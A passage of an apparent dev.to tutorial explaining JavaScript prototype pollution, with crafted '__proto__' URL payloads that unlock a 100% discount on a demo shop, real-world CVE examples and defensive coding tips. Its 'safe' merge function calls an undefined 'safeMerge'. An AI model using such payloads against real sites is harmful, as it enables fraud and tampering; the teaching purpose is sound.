&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fusc197y0flc1ze5udfoh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fusc197y0flc1ze5udfoh.png" alt="Prototype chaining figure"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The nested prototype you're seeing is actually the prototype of &lt;code&gt;Object&lt;/code&gt;, which sits at the top of the prototype chain for most JavaScript objects. This means that if a property isn't found on &lt;code&gt;product_one&lt;/code&gt; or its immediate prototype, JavaScript will continue searching up the chain, eventually reaching &lt;code&gt;Object.prototype&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbdtqikwyyqzu19x8wa0n.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbdtqikwyyqzu19x8wa0n.png" alt="Prototype chain"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;For example, when we run product_one.hasOwnProperty("name"), JavaScript follows this lookup chain:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;First, it looks for &lt;code&gt;hasOwnProperty&lt;/code&gt; in the product_one object itself. It doesn't find it there.&lt;/li&gt;
&lt;li&gt;Next, it checks &lt;code&gt;product_one.__proto__&lt;/code&gt;, which points to &lt;code&gt;Product.prototype&lt;/code&gt;. The &lt;code&gt;hasOwnProperty&lt;/code&gt; method is not defined here either.&lt;/li&gt;
&lt;li&gt;Then, it moves up the prototype chain to &lt;code&gt;Product.prototype.__proto__&lt;/code&gt;, which is equivalent to &lt;code&gt;Object.prototype&lt;/code&gt;. Here, it finally finds the &lt;code&gt;hasOwnProperty&lt;/code&gt; method.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;So if we were to somehow manipulate the behaviour of &lt;code&gt;Object.prototype&lt;/code&gt; we will be able to control the behaviour of all the objects linked to &lt;code&gt;Object.prototype&lt;/code&gt; in the chain. This is called &lt;strong&gt;Prototype Pollution&lt;/strong&gt;. Lets see this with our previous example of &lt;code&gt;Product&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8hl22wjv6gfcqijxbna1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8hl22wjv6gfcqijxbna1.png" alt="Code"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This code is a classic example of prototype pollution. The first line modifies the prototype chain by adding a new property new_property to the &lt;code&gt;Object.prototype&lt;/code&gt;. By setting &lt;code&gt;new_property&lt;/code&gt; on this high-level prototype, the change affects all objects that inherit from &lt;code&gt;Object.prototype&lt;/code&gt;. The second part of the code creates a new empty object &lt;code&gt;obj&lt;/code&gt; and then attempts to access &lt;code&gt;new_property&lt;/code&gt; on it. Despite obj not having this property directly defined, it still outputs "polluted" because the property is inherited from the polluted &lt;code&gt;Object.prototype&lt;/code&gt;. This showcases how prototype pollution can unexpectedly affect seemingly unrelated objects, potentially leading to security vulnerabilities or unintended behaviour in an application.&lt;/p&gt;

&lt;p&gt;Alright, enough theory. Lets get hacking!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6lwl6lz8t7w2gfje80ad.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6lwl6lz8t7w2gfje80ad.png" alt="Lets Get Hacking"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Our favourite &lt;a href="https://prototype-pollution-two.vercel.app/" rel="noopener noreferrer"&gt;E-commerce site&lt;/a&gt; has a special offer for us of 100% discount🤯. But unfortunately we don't have the coupon code🥹. Wouldn't it be great if we could somehow snag that code? Maybe it's hiding in plain sight, hardcoded in the website's source. &lt;/p&gt;
&lt;h2&gt;
  
  
  Approach 1: Naive Approach
&lt;/h2&gt;

&lt;p&gt;We open our trusty developer tools in the browser and go on to inspecting the code for the page. We move to the &lt;code&gt;scripts&lt;/code&gt; section and check if we can find the coupon code.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F36114g4zky1vu5bjt2fn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F36114g4zky1vu5bjt2fn.png" alt="Code"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We see that there is a &lt;code&gt;DISCOUNT_COUPON_HASH&lt;/code&gt; and a hashing function called &lt;code&gt;hashValue&lt;/code&gt;. If we scroll down further we find the &lt;code&gt;applyCoupon&lt;/code&gt; function. This function gets the value of the discount code text box, hashes it using the &lt;code&gt;hashValue&lt;/code&gt; function and compares it with &lt;code&gt;DISCOUNT_COUPON_HASH&lt;/code&gt;. Unfortunately, by the nature of hashing function the hash value is irreversible. So we can in no way get the value of coupon code that hashes to &lt;code&gt;DISCOUNT_COUPON_HASH&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmb686a72rq6652frimkn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmb686a72rq6652frimkn.png" alt="Screenshot"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's explore this site further as our previous approach didn't bear any fruit.&lt;/p&gt;
&lt;h2&gt;
  
  
  Approach 2: Trying to craft a malicious URL with &lt;code&gt;__proto__&lt;/code&gt; query parameter
&lt;/h2&gt;

&lt;p&gt;The shop has another very handy feature to store the cart state in the URL. This way we can share our cart with others or save the URL to come back to our cart. Prototype pollution attacks usually exploit how these query parameters are being parsed by crafting malicious urls. Let's try to craft a malicious URL to pollute &lt;code&gt;Object.Prototype&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;https://exploit-episode-1.middlewarehq.com/?cart={"items":{"2":3,"3":1}}&amp;amp;__proto__.hack=hacked
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;https://exploit-episode-1.middlewarehq.com/?cart={"items":{"2":3,"3":1}}&amp;amp;__proto__[hack]=hacked
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Using the above URLs we try to inject the property &lt;code&gt;hack:'hacked'&lt;/code&gt; in to the global object's prototype with the assumption that the URL parsing done to restore the cart doesn't sanitise the input. But the above urls don't seem to work as expected:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsgu8ej6n6i6352ewtnv4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsgu8ej6n6i6352ewtnv4.png" alt="Screenshot"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We need to explore the code some more to understand how the URL parsing is being done. &lt;/p&gt;
&lt;h2&gt;
  
  
  Investigating the code some more
&lt;/h2&gt;

&lt;p&gt;Upon reading through the code we find &lt;code&gt;loadCartFromURL&lt;/code&gt; function that is responsible for restoring the cart from URL on page load. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvst2epb5caxsak9whcd2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvst2epb5caxsak9whcd2.png" alt="Screenshot"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It creates a &lt;code&gt;URLSearchParams&lt;/code&gt; object from the query parameters, gets the 'cart' query parameter and parses it to json using &lt;code&gt;JSON.parse&lt;/code&gt;. After the object is parsed as json, the merge function merges the &lt;code&gt;cart&lt;/code&gt; object and the &lt;code&gt;updateObj&lt;/code&gt; recursively. Now this looks like something asking to be misused. &lt;/p&gt;

&lt;p&gt;&lt;code&gt;JSON.parse&lt;/code&gt; treats every key in the object as an arbitrary string, include &lt;code&gt;__proto__&lt;/code&gt;. So now, instead of creating a new query parameter of &lt;code&gt;__proto__&lt;/code&gt; we will inject it into the cart object itself. &lt;/p&gt;
&lt;h2&gt;
  
  
  Approach 3: Injecting &lt;code&gt;__proto__&lt;/code&gt; into the &lt;code&gt;cart&lt;/code&gt; query parameter
&lt;/h2&gt;

&lt;p&gt;Let's try to use the following url:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;https://exploit-episode-1.middlewarehq.com/?cart={"items":{"2":3,"3":1},"__proto__":{"hack":"hacked"}}
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiwahylriy8y8w4j1q10m.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiwahylriy8y8w4j1q10m.gif" alt="Screenshot"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftjym5mypfja6cm2a81gc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftjym5mypfja6cm2a81gc.png" alt="Screenshot"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And voila! We have successfully polluted the global object prototype. &lt;br&gt;
But what exactly happened? Why did this format magically work and not the others🤔.&lt;/p&gt;

&lt;p&gt;Let's take a look under the hood to understand what exactly is happening. &lt;/p&gt;

&lt;p&gt;Since &lt;code&gt;JSON.parse&lt;/code&gt; considers every key as an arbitrary string, &lt;code&gt;JSON.parse(params.get("cart"))&lt;/code&gt; will create an object like below:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;updateObj&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;items&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;2&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;3&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;__proto__&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;hack&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;hacked&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Here &lt;code&gt;__proto__&lt;/code&gt; is just an arbitrary string and it doesn't point to the prototype object &lt;code&gt;Object.prototype&lt;/code&gt;. We then move on to recursively merging &lt;code&gt;cart&lt;/code&gt; object and &lt;code&gt;updateObj&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;At some point in the recursive merge, the function will assign &lt;code&gt;target["__proto__"]["hack"] = "hacked"&lt;/code&gt;. During this assignment the javascript runtime treats &lt;code&gt;["__proto__"]&lt;/code&gt; as the getter for the prototype property of &lt;code&gt;Object&lt;/code&gt;. Hence, the assignment becomes equivalent to &lt;code&gt;Object.prototype["hack"] = "hacked"&lt;/code&gt;. Now every object created using &lt;code&gt;Object()&lt;/code&gt; constructor function will have access to the property &lt;code&gt;hack&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;Injecting the &lt;code&gt;hack&lt;/code&gt; property is pretty useless to us, so let's try to find some more useful property that would help us get that sweet 100% discount😍.&lt;/p&gt;
&lt;h2&gt;
  
  
  More code exploration
&lt;/h2&gt;

&lt;p&gt;We need to now look for some functionality or property that can be overwritten or injected using the above method, so that we can avail the discount. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbbuyzg18b1ybchvc6937.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbbuyzg18b1ybchvc6937.png" alt="Screenshot"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We see that the &lt;code&gt;calculateTotal&lt;/code&gt; function checks if the &lt;code&gt;discount&lt;/code&gt; object has a "truthy" property called &lt;code&gt;discountCodeValid&lt;/code&gt; and applies the 100% discount. &lt;br&gt;
Aha! If we inject the property &lt;code&gt;discountCodeValid&lt;/code&gt; into the &lt;code&gt;Object.prototype&lt;/code&gt; we can buy all our favourite products for free!!!&lt;/p&gt;
&lt;h2&gt;
  
  
  Availing the 100% Discount 🥳
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;https://exploit-episode-1.middlewarehq.com/?cart={"items":{"2":3,"3":1},"__proto__":{"discountCodeValid":true}}
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The above url causes the following javascript call:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;cart&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;__proto__&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;discountCodeValid&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;This inserts the property &lt;code&gt;discountCodeValid&lt;/code&gt; into the &lt;code&gt;Object.prototype&lt;/code&gt; object. When the function &lt;code&gt;calculateTotal&lt;/code&gt; is called, the control goes to the if statement &lt;code&gt;if (discount.discountCodeValid) {&lt;/code&gt;. Javascript finds the property &lt;code&gt;discountCodeValid&lt;/code&gt; in the &lt;code&gt;Object.prototype&lt;/code&gt; by the principle of prototype chaining and the total cost is set to 0.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Firo7i9yrvnh962rz3lox.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Firo7i9yrvnh962rz3lox.png" alt="Screenshot"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You can now see that the total cost shown in the cart is 0 and it also says &lt;code&gt;Total: $0.00 (100% discount applied)&lt;/code&gt;🎊. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flr2u3tt5jeycj8xwvd53.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flr2u3tt5jeycj8xwvd53.gif" alt="Screenshot"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Click on the buy button with the discount applied to get a special surprise😉. &lt;/p&gt;
&lt;h2&gt;
  
  
  Prototype pollution in the wild
&lt;/h2&gt;

&lt;p&gt;In the recent years there have been numerous real-world vulnerabilities that have been caused by prototype pollution. Various javascript frameworks and libraries have been affected.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://security.snyk.io/vuln/SNYK-JS-JQUERY-174006" rel="noopener noreferrer"&gt;jQuery (CVE-2019-11358)&lt;/a&gt;: In 2019, a prototype pollution vulnerability was discovered in jQuery, one of the most widely used JavaScript libraries. Versions prior to 3.4.0 were affected, potentially impacting millions of websites.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://security.snyk.io/vuln/SNYK-JS-MINIMIST-559764" rel="noopener noreferrer"&gt;minimist (CVE-2020-7598)&lt;/a&gt;: This widely-used argument-parsing library for Node.js was discovered to be vulnerable in early 2020, affecting countless Node.js applications and CLI tools.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2020-15256" rel="noopener noreferrer"&gt;object-path (CVE-2020-15256)&lt;/a&gt; : Later in 2020, the object-path library, used for accessing deep properties of objects, was found to be susceptible to prototype pollution attacks.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://nvd.nist.gov/vuln/detail/cve-2019-10744" rel="noopener noreferrer"&gt;Lodash (CVE-2019-10744)&lt;/a&gt;: In July 2019, a significant prototype pollution vulnerability was discovered in Lodash, one of the most widely-used JavaScript utility libraries. This vulnerability affected all versions prior to 4.17.12 and could potentially impact millions of projects.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;
  
  
  How to write prototype pollution safe code
&lt;/h2&gt;

&lt;p&gt;Just like we hacked the shopping site, the same can happen to our apps as well😥. We need to adopt some coding practices to prevent this from happening to our websites. Here are some key strategies we at &lt;a href="https://github.com/middlewarehq/middleware" rel="noopener noreferrer"&gt;Middleware&lt;/a&gt; use to write code that's resistant to prototype pollution:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;Object.create(null)&lt;/code&gt;&lt;/strong&gt;: When you simply need to store objects from untrusted sources use. This creates an object with no prototype, eliminating the risk of pollution.
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;safeObj&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;create&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Sanitising Keys&lt;/strong&gt;: This is probably the most obvious way to prevent prototype pollution. But many a times, flawed sanitisation implementation allow attacker to still pollute the prototype using the constructor or changing the value of the key slightly to bypass sanitisation. Let's see how we can update the &lt;code&gt;merge&lt;/code&gt; function used by the shopping site to prevent this type of attack:
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;merge&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;source&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nx"&gt;source&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;hasOwn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;source&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;__proto__&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;constructor&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;typeof&lt;/span&gt; &lt;span class="nx"&gt;source&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;object&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;source&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;safeMerge&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="p"&gt;{},&lt;/span&gt; &lt;span class="nx"&gt;source&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;source&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;Object.freeze()&lt;/code&gt;&lt;/strong&gt; : Another way of preventing change to the &lt;code&gt;Object.Prototype&lt;/code&gt; is to use &lt;code&gt;Object.Freeze&lt;/code&gt;. Freezing an object prevents extensions and makes existing properties non-writable and non-configurable. A frozen object can no longer be changed.
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
